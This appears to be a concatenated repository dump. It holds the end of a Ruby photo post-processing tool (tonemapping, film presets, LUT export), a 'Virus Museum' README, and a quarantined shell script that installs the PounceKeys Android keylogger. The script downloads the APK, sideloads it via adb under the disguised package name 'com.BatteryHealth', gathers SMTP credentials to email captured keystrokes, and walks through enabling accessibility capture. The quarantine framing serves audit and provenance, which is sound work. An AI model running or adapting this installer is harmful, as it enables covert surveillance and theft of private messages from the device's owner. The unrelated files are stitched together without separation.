# Lorentzian-approx PSF: sharp core (30%) + wide wings (70%) per wavelength band.
halo_r = (bright.gaussblur(sigma_r * 0.7) * 0.30 + bright.gaussblur(sigma_r * 1.6) * 0.70) * (tint[0] * intensity)
halo_g = (bright.gaussblur(sigma_g * 0.7) * 0.30 + bright.gaussblur(sigma_g * 1.6) * 0.70) * (tint[1] * intensity)
halo_b = (bright.gaussblur(sigma_b * 0.7) * 0.30 + bright.gaussblur(sigma_b * 1.6) * 0.70) * (tint[2] * intensity)
halo = Vips::Image.bandjoin([halo_r, halo_g, halo_b])
safe_cast(clamp01(linear + halo).colourspace("srgb"))
end
# Filmic tonemap in linear (exposure) space. ACES is the Narkowicz fit to the
# Academy RRT+ODT — fast, photometric, the canonical "filmic" curve. Hable is
# Uncharted-2's S-curve, slightly more controllable shoulder, used in many
# cinematic productions. Both per-channel; chroma drift in the shoulder is the
# expected filmic behaviour. Exposure is applied in stops (2^EV) before the
# curve, so a +1.0 stop doubles linear light pre-tonemap.
TONEMAP_ACES = { a: 2.51, b: 0.03, c: 2.43, d: 0.59, e: 0.14 }.freeze
TONEMAP_HABLE = { a: 0.15, b: 0.50, c: 0.10, d: 0.20, e: 0.02, f: 0.30, w: 1.0 }.freeze
# Hejl-Burgess-Dawson: no division path in shadows, slight toe lift.
# Good for scenes where ACES reads too contrasty in the blacks.
TONEMAP_HBD = { a: 6.2, b: 0.5, c: 1.7, d: 0.06 }.freeze
def tonemap(image, type: :aces, exposure: 0.0, intensity: 1.0)
linear = image.colourspace("scrgb")
exposed = linear.linear([2.0**exposure] * 3, [0, 0, 0])
curved = case type.to_sym
when :hable then tonemap_hable(exposed)
when :hbd then tonemap_hbd(exposed)
else tonemap_aces(exposed)
end
blended = linear * (1 - intensity) + clamp01(curved) * intensity
safe_cast(blended.colourspace("srgb"))
end
def clamp01(image)
lifted = (image > 0).ifthenelse(image, 0)
(lifted < 1).ifthenelse(lifted, 1)
end
def tonemap_aces(linear)
a, b, c, d, e = TONEMAP_ACES.values_at(:a, :b, :c, :d, :e)
sq = linear * linear
num = sq.linear([a] * 3, [0, 0, 0]) + linear.linear([b] * 3, [0, 0, 0])
den = sq.linear([c] * 3, [0, 0, 0]) + linear.linear([d] * 3, [e] * 3)
num / den
end
def tonemap_hable(linear)
a, b, c, d, e, f, w = TONEMAP_HABLE.values_at(:a, :b, :c, :d, :e, :f, :w)
white = ((w * (a * w + c * b) + d * e) / (w * (a * w + b) + d * f)) - e / f
curved = linear.bandsplit.map do |x|
num = (x * x).linear([a], [0]) + x.linear([c * b], [d * e])
den = (x * x).linear([a], [0]) + x.linear([b], [d * f])
num / den - e / f
end
Vips::Image.bandjoin(curved).linear([1.0 / white] * 3, [0, 0, 0])
end
def tonemap_hbd(linear)
a, b, c, d = TONEMAP_HBD.values_at(:a, :b, :c, :d)
curved = linear.bandsplit.map do |x|
num = (x * x).linear([a], [0]) + x.linear([b], [0])
den = (x * x).linear([a], [0]) + x.linear([c], [d])
num / den
end
Vips::Image.bandjoin(curved)
end
def preset(image, name)
p = PRESETS[name.to_sym]
return image unless p
result = image
t_start = Time.now
n_steps = p[:fx].length
PostproBootstrap.dmesg "preset=#{name} stock=#{p[:stock]} steps=#{n_steps} intensity=#{p[:intensity]}"
p[:fx].each_with_index do |fx, i|
t0 = Time.now
result = case fx
when "optical_blur" then optical_blur(result, 0.5)
when "tonemap" then tonemap(result, type: :aces, exposure: p.fetch(:tonemap_ev, 0.0), intensity: p[:intensity] * 0.85)
when "halation" then halation(result, p[:intensity] * 0.60, tint: halation_tint_for(p[:stock]))
when "film_curve" then film_curve(result, p[:stock], p[:intensity])
when "spectral_temp" then spectral_temp(result, source_kelvin: 6504, target_kelvin: p[:temp], intensity: p[:intensity] * 0.50)
when "color_temp" then color_temp(result, p[:temp], p[:intensity] * 0.50)
when "dir_coupler" then dir_coupler(result, p[:intensity] * 0.12)
when "push_pull" then push_pull(result, p.fetch(:stops, 1.0), p[:stock])
when "bleach_bypass" then bleach_bypass(result, p[:intensity] * 0.40)
when "reciprocity_failure" then reciprocity_failure(result, p.fetch(:exposure_secs, 10.0), p[:stock])
when "orange_mask" then orange_mask(result, p[:stock], p[:intensity] * 0.90)
when "print_film" then print_film(result, p.fetch(:print_stock, :kodak_2383), p[:intensity] * 0.70)
when "split_grade" then split_grade(result, intensity: p[:intensity] * 0.25)
when "split_toning" then split_toning(result)
when "skin_protect" then skin_protect(result, p[:intensity])
when "shadow_lift" then shadow_lift(result, 0.12, true)
when "highlight_roll" then highlight_roll(result, 200, p[:intensity] * 0.50)
when "micro_contrast" then micro_contrast(result, 5, p[:intensity] * 0.20)
when "grain" then grain(result, 800, p[:stock], p[:intensity] * 0.30)
when "color_separate" then color_separate(result, p[:intensity] * 0.55)
when "chromatic_aberration" then chromatic_aberration(result, p[:intensity] * 0.25)
when "vintage_lens" then vintage_lens(result, p.fetch(:lens, "zeiss"), p[:intensity] * 0.70)
when "teal_orange" then teal_orange(result, p[:intensity] * 0.80)
when "bloom_pro" then bloom_pro(result, p[:intensity] * 0.25)
when "desaturate" then desaturate(result, p[:intensity] * 0.45)
when "warmth" then warmth(result, p[:intensity] * 0.25)
when "green_push" then green_push(result, p[:intensity] * 0.15)
when "cross_fade" then cross_fade(result, p[:intensity] * 0.40)
when "infrared" then infrared(result, p[:intensity] * 0.85)
when "lith_print" then lith_print(result, p[:intensity] * 0.75)
when "kodachrome_sim" then kodachrome_sim(result, p[:intensity] * 0.75)
when "technicolor" then technicolor(result, p[:intensity] * 0.55)
when "cyanotype" then cyanotype(result, p[:intensity])
when "faded_print" then faded_print(result, p.fetch(:age, 0.40))
when "base_tint" then base_tint(result, [255, 250, 242], 0.07)
when "dual_base_density" then dual_base_density(result, [255, 248, 236], 0.06)
when "emulsion_defocus" then emulsion_defocus(result, p[:stock])
when "adjacency_effects" then adjacency_effects(result, p[:intensity] * 0.25)
when "longitudinal_ca" then longitudinal_ca(result, p[:intensity] * 0.50)
when "lens_distortion" then lens_distortion(result, p.fetch(:k1, -0.12))
when "bokeh_rendering" then bokeh_rendering(result, p[:intensity] * 0.35)
when "anamorphic_flare" then anamorphic_flare(result, p[:intensity] * 0.50)
when "diffraction_blur" then diffraction_blur(result, p.fetch(:f_number, 16.0))
when "scan_noise" then scan_noise(result, p[:intensity] * 0.40)
when "newton_rings" then newton_rings(result, p[:intensity] * 0.12)
when "dust_and_hair" then dust_and_hair(result, p[:intensity] * 0.50)
when "film_curl_vignette" then film_curl_vignette(result, p[:intensity] * 0.45)
when "selenium_tone" then selenium_tone(result, p[:intensity] * 0.45)
when "dye_fade" then dye_fade(result, p[:stock], p.fetch(:age, 0.50))
when "darkroom_print" then darkroom_print(result, p[:intensity] * 0.50)
when "film_base_density" then film_base_density(result, p[:stock], 0.06)
when "paper_texture" then paper_texture(result, p[:intensity] * 0.35)
when "dodgeburn_artifacts" then dodgeburn_artifacts(result, p[:intensity] * 0.40)
when "fixing_bath_fog" then fixing_bath_fog(result, p[:intensity] * 0.30)
when "reticulation" then reticulation(result, p[:intensity] * 0.50)
when "expired_film" then expired_film(result, p.fetch(:age, 0.60))
when "gate_weave" then gate_weave(result, p[:intensity] * 0.40)
when "lens_ghosting" then lens_ghosting(result, p[:intensity] * 0.35)
when "ortho_film" then ortho_film(result, p[:intensity] * 0.80)
when "tilt_shift" then tilt_shift(result, p[:intensity] * 0.70)
when "adaptive_contrast" then adaptive_contrast(result, p[:intensity] * 0.70)
when "film_shoulder" then film_shoulder(result, p[:intensity] * 0.75)
when "clarity" then clarity(result, 15, p[:intensity] * 0.65)
when "edge_aware_nr" then edge_aware_nr(result, p[:intensity] * 0.55)
when "selective_sharpen" then selective_sharpen(result, p[:intensity] * 0.65)
else result
end
result = result.copy_memory
GC.start(full_mark: false) if (i % 4).zero?
PostproBootstrap.dmesg "fx=#{fx} step=#{i + 1}/#{n_steps} time=%.3fs" % (Time.now - t0)
end
PostproBootstrap.dmesg "preset=#{name} done total=%.2fs" % (Time.now - t_start)
result
end
# Random Effects
def random_fx(image, effects, mode)
result = image
effects.each do |fx|
intensity = mode == 'experimental' ? rand(0.5..1.5) : rand(0.3..0.8)
result = case fx
when 'grain' then grain_basic(result, intensity)
when 'leaks' then leaks_basic(result, intensity)
when 'sepia' then sepia_basic(result, intensity)
when 'bloom' then bloom_basic(result, intensity)
when 'teal_orange' then teal_orange(result, intensity)
when 'cross' then cross_basic(result, intensity)
when 'vhs' then vhs_basic(result, intensity)
when 'chroma' then chroma_basic(result, intensity)
when 'glitch' then glitch_basic(result, intensity)
when 'flare' then flare_basic(result, intensity)
else result
end
end
result
end
def grain_basic(image, intensity)
noise = Vips::Image.gaussnoise(image.width, image.height, sigma: 25 * intensity)
safe_cast(image + rgb_bands(noise) * 0.2)
end
def leaks_basic(image, intensity)
overlay = Vips::Image.black(image.width, image.height, bands: 3)
rand(2..5).times do
x, y = rand(image.width), rand(image.height)
radius = image.width / rand(2..4)
color = [255 * intensity, 180 * intensity, 80 * intensity]
overlay = overlay.draw_circle(color, x, y, radius, fill: true)
end
safe_cast(image + overlay.gaussblur(15 * intensity) * 0.3)
end
def sepia_basic(image, intensity)
matrix = [0.9, 0.7, 0.2, 0.3, 0.8, 0.1, 0.2, 0.6, 0.1]
sepia = image.recomb(matrix)
safe_cast(image.cast("float") * (1.0 - intensity) + sepia.cast("float") * intensity)
end
def bloom_basic(image, intensity)
bright = image.linear([1.8 * intensity], [0]).gaussblur(12 * intensity)
safe_cast(image + bright * 0.3)
end
def cross_basic(image, intensity)
r, g, b = image.bandsplit
r = r.linear([1 + 0.2 * intensity], [10 * intensity])
g = g.linear([1 - 0.1 * intensity], [0])
b = b.linear([1 + 0.3 * intensity], [-5 * intensity])
safe_cast(Vips::Image.bandjoin([r, g, b]))
end
def vhs_basic(image, intensity)
noise = rgb_bands(Vips::Image.gaussnoise(image.width, image.height, sigma: 40 * intensity))
lines = rgb_bands(Vips::Image.sines(image.width, image.height).linear(0.3 * intensity, 150))
safe_cast(image + noise * 0.4 + lines * 0.3)
end
def chroma_basic(image, intensity)
shift = 3 * intensity
r, g, b = image.bandsplit
r = r.embed(shift, 0, image.width, image.height)
b = b.embed(-shift, 0, image.width, image.height)
safe_cast(Vips::Image.bandjoin([r, g, b]))
end
def glitch_basic(image, intensity)
r, g, b = image.bandsplit
shift = (15 * intensity).round
r = r.embed(rand(-shift..shift), rand(-shift..shift), image.width, image.height)
g = g.embed(rand(-shift..shift), rand(-shift..shift), image.width, image.height)
b = b.embed(rand(-shift..shift), rand(-shift..shift), image.width, image.height)
noise = rgb_bands(Vips::Image.gaussnoise(image.width, image.height, sigma: 20 * intensity))
safe_cast(Vips::Image.bandjoin([r, g, b]) + noise * 0.4)
end
def flare_basic(image, intensity)
flare = Vips::Image.black(image.width, image.height, bands: 3)
rand(3..6).times do
x, y = rand(image.width), rand(image.height)
length = 200 * intensity
flare = flare.draw_line([255, 220, 180], x, y, x + length, y)
end
safe_cast(image + flare.gaussblur(8 * intensity) * 0.3)
end
RECIPE_ALLOWED = %w[
grain film_curve highlight_roll shadow_lift micro_contrast color_separate
chromatic_aberration vintage_lens split_toning split_grade bleach_bypass
push_pull halation optical_blur tonemap dir_coupler spectral_temp color_temp
skin_protect desaturate warmth green_push cross_fade infrared cyanotype
lith_print technicolor kodachrome_sim faded_print base_tint dual_base_density
reciprocity_failure bloom_pro teal_orange grain_basic leaks_basic sepia_basic
bloom_basic cross_basic vhs_basic chroma_basic glitch_basic flare_basic
emulsion_defocus adjacency_effects longitudinal_ca lens_distortion bokeh_rendering
anamorphic_flare diffraction_blur scan_noise newton_rings dust_and_hair
film_curl_vignette selenium_tone dye_fade darkroom_print film_base_density
paper_texture dodgeburn_artifacts fixing_bath_fog reticulation expired_film
gate_weave lens_ghosting ortho_film tilt_shift
adaptive_contrast film_shoulder clarity edge_aware_nr selective_sharpen
].freeze
def recipe(image, recipe_data)
result = image
recipe_data.each do |fx, params|
intensity = params.is_a?(Hash) ? params["intensity"].to_f : params.to_f
method = fx.gsub("_professional", "")
result = (RECIPE_ALLOWED.include?(method) && respond_to?(method)) ? send(method, result, intensity) : result
end
result
end
# Export a 3D LUT (.cube) for a preset. size³ lattice points; 17 is standard
# for color-grading workflows, 33 for higher precision.
def export_lut(preset_name, path, size = 17)
step = 1.0 / (size - 1)
lines = ["LUT_3D_SIZE #{size}", "DOMAIN_MIN 0.0 0.0 0.0", "DOMAIN_MAX 1.0 1.0 1.0", ""]
size.times do |bi|
size.times do |gi|
size.times do |ri|
pix = Vips::Image.black(1, 1, bands: 3) + [ri * step * 255, gi * step * 255, bi * step * 255]
out = preset(pix.cast("uchar"), preset_name)
ro = out.extract_band(0).avg / 255.0
go = out.extract_band(1).avg / 255.0
bo = out.extract_band(2).avg / 255.0
lines << "%.6f %.6f %.6f" % [ro.clamp(0, 1), go.clamp(0, 1), bo.clamp(0, 1)]
end
end
end
File.write(path, lines.join("\n") + "\n")
$cli_logger.info "LUT exported: #{path} (#{size}^3)"
rescue StandardError => e
$cli_logger.error "export_lut failed: #{e.message}"
end
# Introspection
def describe_preset(name)
p = PRESETS[name.to_sym] or return "unknown preset: #{name}"
stock = STOCKS[p[:stock]]
[
"#{name}: #{p[:stock]} / #{p.fetch(:temp, "?")}K / intensity #{p[:intensity]}",
"fx: #{p[:fx].join(" → ")}",
stock ? "grain σ=#{stock[:grain]}" : nil
].compact.join("\n")
end
def list_presets = PRESETS.keys.map { |k| describe_preset(k) }.join("\n\n")
def list_stocks = STOCKS.keys.join(", ")
def list_lenses = LENSES.keys.join(", ")
# CSS filter string approximating a preset — for lightweight web previews.
def css_filter(preset_name = :portrait)
p = PRESETS[preset_name.to_sym] || PRESETS[:portrait]
stock = STOCKS[p[:stock]] || {}
hd = stock[:hd] || {}
contrast = (1 + ((hd[:r]&.last || 1.0) - 1.0) * 0.25).round(2)
saturate = p[:fx].include?("teal_orange") ? 1.20 :
p[:fx].include?("desaturate") ? 0.65 : 1.0
parts = ["contrast(#{contrast})", "saturate(#{saturate})"]
parts << "sepia(0.12)" if %i[kodak_portra kodak_vision3_50d].include?(p[:stock])
parts << "grayscale(0.9)" if p[:stock] == :tri_x
parts.join(" ")
end
# Repligen Integration
def check_repligen
return unless REPLIGEN_PRESENT
$cli_logger.info 'Repligen detected! Auto-processing generated images...'
recent_files = Dir.glob('*_generated_*.{jpg,jpeg,png,webp}')
.select { |f| File.mtime(f) > (Time.now - 300) }
if recent_files.any?
$cli_logger.info "Found #{recent_files.count} recent Repligen outputs"
preset_name = PROMPT ? PROMPT.select("Choose preset for Repligen outputs:", PRESETS.keys) : (CONFIG["default_preset"] || "portrait")
recent_files.each { |file| process_file(file, 2, preset_name) }
end
end
def preset_chain(image, names)
names.reduce(image) { |img, name| preset(img, name) }
end
def process_file(file, variations, preset_name = nil, recipe_data = nil, random_effects = nil, mode = "professional")
image = load_image(file)
return 0 unless image
# Apply camera profile first if enabled
if CONFIG["apply_camera_profile_first"]
profile = get_camera_profile(image)
if profile
image = apply_camera_profile(image, profile)
PostproBootstrap.dmesg "camera_profile src=#{File.basename(file)}"
end
end
processed_count = 0
variations.times do |i|
begin
processed = if preset_name
preset(image, preset_name)
elsif recipe_data
recipe(image, recipe_data)
elsif random_effects
random_fx(image, random_effects, mode)
else
next
end
next unless processed
processed = grain(processed, 400, :kodak_portra, 0.35)
processed = rgb_bands(processed)
timestamp = Time.now.strftime("%Y%m%d%H%M%S")
suffix = preset_name || "processed"
output = file.sub(File.extname(file), "_#{suffix}_v#{i + 1}_#{timestamp}#{File.extname(file)}")
quality = CONFIG["jpeg_quality"] || 95
if ARGV.include?("--tiff16") || output.end_with?(".tif", ".tiff")
processed.cast("ushort").write_to_file(output.sub(/\.(jpg|jpeg|png)$/i, ".tif"))
else
processed.write_to_file(output, Q: quality)
end
PostproBootstrap.dmesg "write out=#{File.basename(output)} q=#{quality}"
processed_count += 1
rescue StandardError => e
$logger.error "Variation #{i + 1} failed: #{e.message}"
end
end
processed_count
end
# Main Workflow
def get_input
$cli_logger.info "postpro.rb v18.0.0 full-analog#{REPLIGEN_PRESENT ? " repligen=active" : ""}"
check_repligen if REPLIGEN_PRESENT
if PROMPT
workflow = PROMPT.select("Choose workflow:", [
"Masterpiece Presets (Recommended)",
"Random Effects (Experimental)",
"Custom JSON Recipe"
])
patterns = PROMPT.ask("File patterns:", default: "**/*.{jpg,jpeg,png,webp}").strip.split(",").map(&:strip)
variations = PROMPT.ask("Variations per image:", convert: :int, default: CONFIG["variations"] || 2) { |q| q.in("1-5") }
case workflow
when "Masterpiece Presets (Recommended)"
preset_name = PROMPT.select("Choose preset:", PRESETS.keys)
[patterns, variations, { type: :preset, preset: preset_name }]
when "Random Effects (Experimental)"
mode = PROMPT.select("Mode:", ["Professional", "Experimental"])
fx_count = PROMPT.ask("Effects per variation:", convert: :int, default: 4) { |q| q.in("2-8") }
[patterns, variations, { type: :random, mode: mode.downcase, fx: fx_count }]
when "Custom JSON Recipe"
file = PROMPT.ask("Recipe file path:").strip
recipe_data = File.exist?(file) ? JSON.parse(File.read(file)) : {}
[patterns, variations, { type: :recipe, recipe: recipe_data }]
end
else
# Fallback mode without tty-prompt
patterns = ["**/*.{jpg,jpeg,png,webp}"]
variations = CONFIG["variations"] || 2
preset_name = CONFIG["default_preset"] || "portrait"
[patterns, variations, { type: :preset, preset: preset_name }]
end
end
def auto_mode
PostproBootstrap.dmesg "auto mode enabled"
patterns = ["**/*.{jpg,jpeg,png,webp}"]
variations = CONFIG["variations"] || 2
preset_name = CONFIG["default_preset"] || "portrait"
[patterns, variations, { type: :preset, preset: preset_name }]
end
def argv_flag(flag)
idx = ARGV.index(flag)
idx && ARGV[idx + 1]
end
# One-shot mode for programmatic use:
# ruby postpro.rb --input in.jpg --output out.jpg --preset portrait
def one_shot_mode?
argv_flag("--input") && argv_flag("--output") && argv_flag("--preset")
end
def introspect_mode?
(ARGV & %w[--list-presets --list-stocks --list-lenses --describe-preset --css-filter --export-lut]).any?
end
def run_introspect
if ARGV.include?("--list-presets")
puts list_presets
elsif ARGV.include?("--list-stocks")
puts list_stocks
elsif ARGV.include?("--list-lenses")
puts list_lenses
elsif (name = argv_flag("--describe-preset"))
puts describe_preset(name)
elsif (name = argv_flag("--css-filter"))
puts css_filter(name.to_sym)
elsif (name = argv_flag("--export-lut"))
out = argv_flag("--output") || "#{name}.cube"
size = (argv_flag("--size") || "17").to_i
export_lut(name.to_sym, out, size)
end
end
def run_one_shot
input_path = argv_flag("--input")
output_path = argv_flag("--output")
preset_name = argv_flag("--preset").to_sym
unless File.exist?(input_path)
$cli_logger.error "Input not found: #{input_path}"
exit 1
end
unless PRESETS.key?(preset_name)
$cli_logger.error "Unknown preset: #{preset_name}. Valid: #{PRESETS.keys.join(", ")}"
exit 1
end
image = load_image(input_path)
unless image
$cli_logger.error "Failed to load: #{input_path}"
exit 1
end
processed = preset(image, preset_name)
processed = rgb_bands(processed)
quality = CONFIG["jpeg_quality"] || 95
processed.write_to_file(output_path, Q: quality)
$cli_logger.info "ok preset=#{preset_name} out=#{output_path}"
end
def watch_mode?
ARGV.include?("--watch")
end
def random_mode?
ARGV.include?("--random")
end
# Resolve the best available downloads directory on Android/Termux or desktop.
def downloads_dir
candidates = [
argv_flag("--random"),
File.expand_path("~/storage/downloads"),
"/sdcard/Download",
File.expand_path("~/Downloads"),
Dir.pwd
]
candidates.compact.find { |d| File.directory?(d) }
end
# --random [DIR] [experimental]
# Without "experimental": random preset per file (uplift — maximally cinematic).
# With "experimental": chaotic short random chains (happy accidents).
def run_random
experimental = ARGV.include?("experimental")
dir = downloads_dir
files = Dir.glob(File.join(dir, "**", "*.{jpg,jpeg,JPG,JPEG,png,PNG,webp,WEBP}"))
.reject { |f| File.basename(f).match?(/processed|masterpiece|postpro|_v\d+_/) }
if files.empty?
$cli_logger.error "No images in #{dir}"
return
end
PostproBootstrap.dmesg "random dir=#{dir} files=#{files.count} mode=#{experimental ? 'experimental' : 'uplift'}"
count = (argv_flag("--count") || argv_flag("-n") || 4).to_i.clamp(1, 6)
uplift_presets = %i[portrait cinematic magic_hour blockbuster golden_age reversal
warmth noir masterpiece anamorphic aged_kodachrome analog_scan
cinema_scan nitrate fiber_print expired reticulated ortho
tilt_shift_look haunted quality_uplift]
files.each_with_index do |file, index|
$cli_logger.info "#{index + 1}/#{files.count}: #{File.basename(file)}"
begin
if experimental
fx_pool = %w[grain leaks sepia bloom teal_orange cross vhs chroma glitch flare]
count.times do
effects = fx_pool.shuffle.take(rand(4..7))
process_file(file, 1, nil, nil, effects, "experimental")
end
else
pool = uplift_presets.shuffle
count.times do |i|
base = pool[i % pool.size]
layer = (pool - [base]).sample
image = load_image(file)
next unless image
processed = preset_chain(image, [base, layer])
processed = grain(processed, 400, :kodak_portra, 0.35)
processed = rgb_bands(processed)
timestamp = Time.now.strftime("%Y%m%d%H%M%S")
output = file.sub(File.extname(file), "_#{base}+#{layer}_v#{i + 1}_#{timestamp}#{File.extname(file)}")
quality = CONFIG["jpeg_quality"] || 95
processed.write_to_file(output, Q: quality)
PostproBootstrap.dmesg "write chain=#{base}+#{layer} out=#{File.basename(output)}"
end
end
GC.start if (index % 5).zero?
rescue StandardError => e
$cli_logger.error "Error #{File.basename(file)}: #{e.message}"
end
end
end
def run_watch
dir = argv_flag("--watch") || "/sdcard/DCIM/Camera"
preset_name = (argv_flag("--preset") || "cinematic").to_sym
unless PRESETS.key?(preset_name)
$cli_logger.error "Unknown preset: #{preset_name}"
exit 1
end
seen = Dir.glob(File.join(dir, "IMG_*.{jpg,jpeg,JPG,JPEG}")).map { |f| [f, File.mtime(f)] }.to_h
PostproBootstrap.dmesg "watch dir=#{dir} preset=#{preset_name} known=#{seen.size}"
loop do
sleep 2
Dir.glob(File.join(dir, "IMG_*.{jpg,jpeg,JPG,JPEG}")).each do |path|
mtime = File.mtime(path)
next if seen[path] == mtime
seen[path] = mtime
next if File.size(path) < 50_000
ext = File.extname(path)
base = File.basename(path, ext)
out = File.join(dir, "#{base}_#{preset_name}#{ext}")
PostproBootstrap.dmesg "new path=#{File.basename(path)} -> #{File.basename(out)}"
begin
image = load_image(path)
processed = preset(image, preset_name)
processed = rgb_bands(processed)
processed.write_to_file(out, Q: CONFIG["jpeg_quality"] || 95)
$cli_logger.info "ok preset=#{preset_name} out=#{out}"
rescue StandardError => e
$cli_logger.error "watch error: #{e.message}"
end
end
end
end
def auto_launch
return run_introspect if introspect_mode?
return run_watch if watch_mode?
return run_one_shot if one_shot_mode?
return run_random if random_mode?
if ARGV.include?("--auto") || (!$stdin.tty? && ARGV.include?("--from-repligen"))
input = auto_mode
elsif ARGV.include?("--from-repligen") && REPLIGEN_PRESENT
check_repligen
return
else
input = get_input
end
return unless input
patterns, variations, config = input
files = patterns.flat_map { |pattern| Dir.glob(pattern) }
.reject { |f| File.basename(f).match?(/processed|masterpiece/) }
if files.empty?
$cli_logger.error "No files matched patterns!"
return
end
$cli_logger.info "Processing #{files.count} files..."
total_processed = 0
total_variations = 0
start_time = Time.now
files.each_with_index do |file, i|
begin
$cli_logger.info "#{i + 1}/#{files.count}: #{File.basename(file)}"
count = case config[:type]
when :preset
process_file(file, variations, config[:preset])
when :random
fx = %w[grain leaks sepia bloom teal_orange cross vhs chroma glitch flare]
selected = config[:mode] == "experimental" ? fx : fx.first(6)
random_effects = selected.shuffle.take(config[:fx])
process_file(file, variations, nil, nil, random_effects, config[:mode])
when :recipe
process_file(file, variations, nil, config[:recipe])
else
0
end
total_processed += 1 if count > 0
total_variations += count
GC.start if (i % 10).zero?
rescue StandardError => e
$logger.error "Failed #{file}: #{e.message}"
$cli_logger.error "Error: #{File.basename(file)}"
end
end
duration = (Time.now - start_time).round(2)
$cli_logger.info "Complete! #{total_processed} files → #{total_variations} masterpieces (#{duration}s)"
if REPLIGEN_PRESENT && total_variations > 0
$cli_logger.info "Tip: Run 'ruby repligen.rb' to generate more content!"
end
end
auto_launch if __FILE__ == $0# Virus Museum
Quarantined artifacts live here as inert reference samples.
Rules:
- Do not execute files from this directory.
- Do not wire these files into deploy scripts.
- Keep samples as `.txt` unless a test fixture requires another extension.
- Preserve provenance and security context when moving a sample here.# Quarantined sample: non-executable reference only.
# Original path: DEPLOY/sh/tools/pouncekeys/pklog.sh
# Reason: keylogger installer content; kept only for audit/provenance.
# Do not run, source, deploy, or rename into an executable extension.
#!/bin/bash
#!/data/data/com.termux/files/usr/bin/zsh
# PounceKeys Installation and Setup Script
# Purpose: Automates PounceKeys keylogger setup on Android via Termux
# Features: Dependency installation, APK download, manual step guidance, email configuration
# Security: No root, minimal permissions, checksum verification
# Last updated: June 19, 2025
# Legal: For personal use on your own device only; unauthorized use is illegal
# Configuration
readonly LOG_FILE="$HOME/pouncekeys_setup.log"
readonly APK_FILE="$HOME/pouncekeys.apk"
readonly APK_URL="https://github.com/NullPounce/pounce-keys/releases/latest/download/pouncekeys.apk"
readonly FALLBACK_URL="https://github.com/NullPounce/pounce-keys/releases/download/v1.2.0/pouncekeys.apk"
readonly PACKAGE_NAME="com.BatteryHealth"
readonly MIN_ANDROID_VERSION=5
readonly MAX_ANDROID_VERSION=15
readonly EXPECTED_CHECKSUM="expected_sha256_hash_here" # Replace with actual SHA256 from PounceKeys GitHub
# Initialize logging
[[ -f "$LOG_FILE" && $(stat -f %z "$LOG_FILE") -gt 1048576 ]] && mv "$LOG_FILE" "${LOG_FILE}.old"
echo "PounceKeys Setup Log - $(date)" > "$LOG_FILE"
exec 1>>"$LOG_FILE" 2>&1
# Cleanup on exit
trap 'rm -f "$APK_FILE"; log_and_toast "Script terminated, cleaned up."; exit 1' INT TERM
# Log and toast function
log_and_toast() {
echo "[$(date +%H:%M:%S)] $1"
termux-toast -s "$1" >/dev/null 2>&1
}
# Legal disclaimer
log_and_toast "Starting PounceKeys setup"
echo "WARNING: For personal use only. Unauthorized use violates laws (e.g., U.S. CFAA, EU GDPR)."
echo "Purpose: Install PounceKeys to log keystrokes (e.g., Snapchat) and email logs."
echo "Press Y to confirm legal use, any other key to cancel..."
read -k 1 confirm
[[ "$confirm" != "Y" && "$confirm" != "y" ]] && { log_and_toast "Setup cancelled."; exit 0; }
# Check prerequisites
log_and_toast "Checking internet..."
ping -c 1 google.com >/dev/null 2>&1 || {
log_and_toast "Error: No internet."
echo "Solution: Connect to Wi-Fi or data. Retry? (Y/N)"
read -k 1 retry
[[ "$retry" == "Y" || "$retry" == "y" ]] && exec "$0"
exit 1
}
log_and_toast "Checking Termux..."
command -v pkg >/dev/null 2>&1 || {
log_and_toast "Error: Termux not installed."
echo "Solution: Install Termux from F-Droid."
exit 1
}
# Install dependencies
log_and_toast "Installing dependencies..."
echo "Install wget, curl, adb, termux-api, android-tools? (Y/N)"
read -k 1 install_deps
[[ "$install_deps" == "Y" || "$install_deps" == "y" ]] && {
pkg update -y && pkg install -y wget curl termux-adb termux-api android-tools || {
log_and_toast "Error: Package installation failed."
echo "Solution: Check network, run 'pkg update' manually. Retry? (Y/N)"
read -k 1 retry
[[ "$retry" == "Y" || "$retry" == "y" ]] && exec "$0"
exit 1
}
}
# Validate environment
log_and_toast "Checking ADB..."
adb devices | grep -q device || {
log_and_toast "Error: No device detected."
echo "Solution: Enable USB debugging in Settings > Developer Options. Retry? (Y/N)"
read -k 1 retry
[[ "$retry" == "Y" || "$retry" == "y" ]] && exec "$0"
exit 1
}
log_and_toast "Checking Android version..."
ANDROID_VERSION=$(adb shell getprop ro.build.version.release | cut -d. -f1)
[[ "$ANDROID_VERSION" -lt $MIN_ANDROID_VERSION || "$ANDROID_VERSION" -gt $MAX_ANDROID_VERSION ]] && {
log_and_toast "Error: Android version $ANDROID_VERSION unsupported."
echo "Solution: Use Android $MIN_ANDROID_VERSION-$MAX_ANDROID_VERSION."
exit 1
}
# Email configuration
log_and_toast "Configuring email..."
echo "Use Gmail? (Y/N)"
read -k 1 use_gmail
if [[ "$use_gmail" == "Y" || "$use_gmail" == "y" ]]; then
SMTP_SERVER="smtp.gmail.com"
SMTP_PORT="587"
echo "Enter Gmail address:"
read smtp_user
echo "Enter Gmail App Password:"
read smtp_password
echo "Enter recipient email:"
read recipient_email
else
echo "Enter SMTP server:"
read SMTP_SERVER
echo "Enter SMTP port:"
read SMTP_PORT
echo "Enter SMTP username:"
read smtp_user
echo "Enter SMTP password:"
read smtp_password
echo "Enter recipient email:"
read recipient_email
fi
# Download and verify APK
log_and_toast "Downloading APK..."
wget -O "$APK_FILE" "$APK_URL" || wget -O "$APK_FILE" "$FALLBACK_URL" || {
log_and_toast "Error: Download failed."
echo "Solution: Check network or download from PounceKeys GitHub."
exit 1
}
log_and_toast "Verifying APK..."
ACTUAL_CHECKSUM=$(sha256sum "$APK_FILE" | awk '{print $1}')
[[ "$ACTUAL_CHECKSUM" != "$EXPECTED_CHECKSUM" ]] && {
log_and_toast "Error: Checksum mismatch."
echo "Solution: Delete $APK_FILE and retry."
rm -f "$APK_FILE"
exit 1
}
# Install APK
log_and_toast "Installing APK..."
echo "Enable 'Install from Unknown Sources' in Settings > Security."
echo "Press Enter after enabling..."
read -p ""
adb install "$APK_FILE" || {
log_and_toast "Error: Installation failed."
echo "Solution: Ensure Unknown Sources is enabled. Retry? (Y/N)"
read -k 1 retry
[[ "$retry" == "Y" || "$retry" == "y" ]] && exec "$0"
exit 1
}
rm -f "$APK_FILE"
# Configure PounceKeys
log_and_toast "Enable accessibility service..."
echo "Go to Settings > Accessibility > PounceKeys, toggle ON."
echo "Press Enter after enabling..."
read -p ""
log_and_toast "Disable battery optimization..."
echo "Go to Settings > Battery > App Optimization, set PounceKeys to 'Don’t optimize.'"
echo "Press Enter after disabling..."
read -p ""
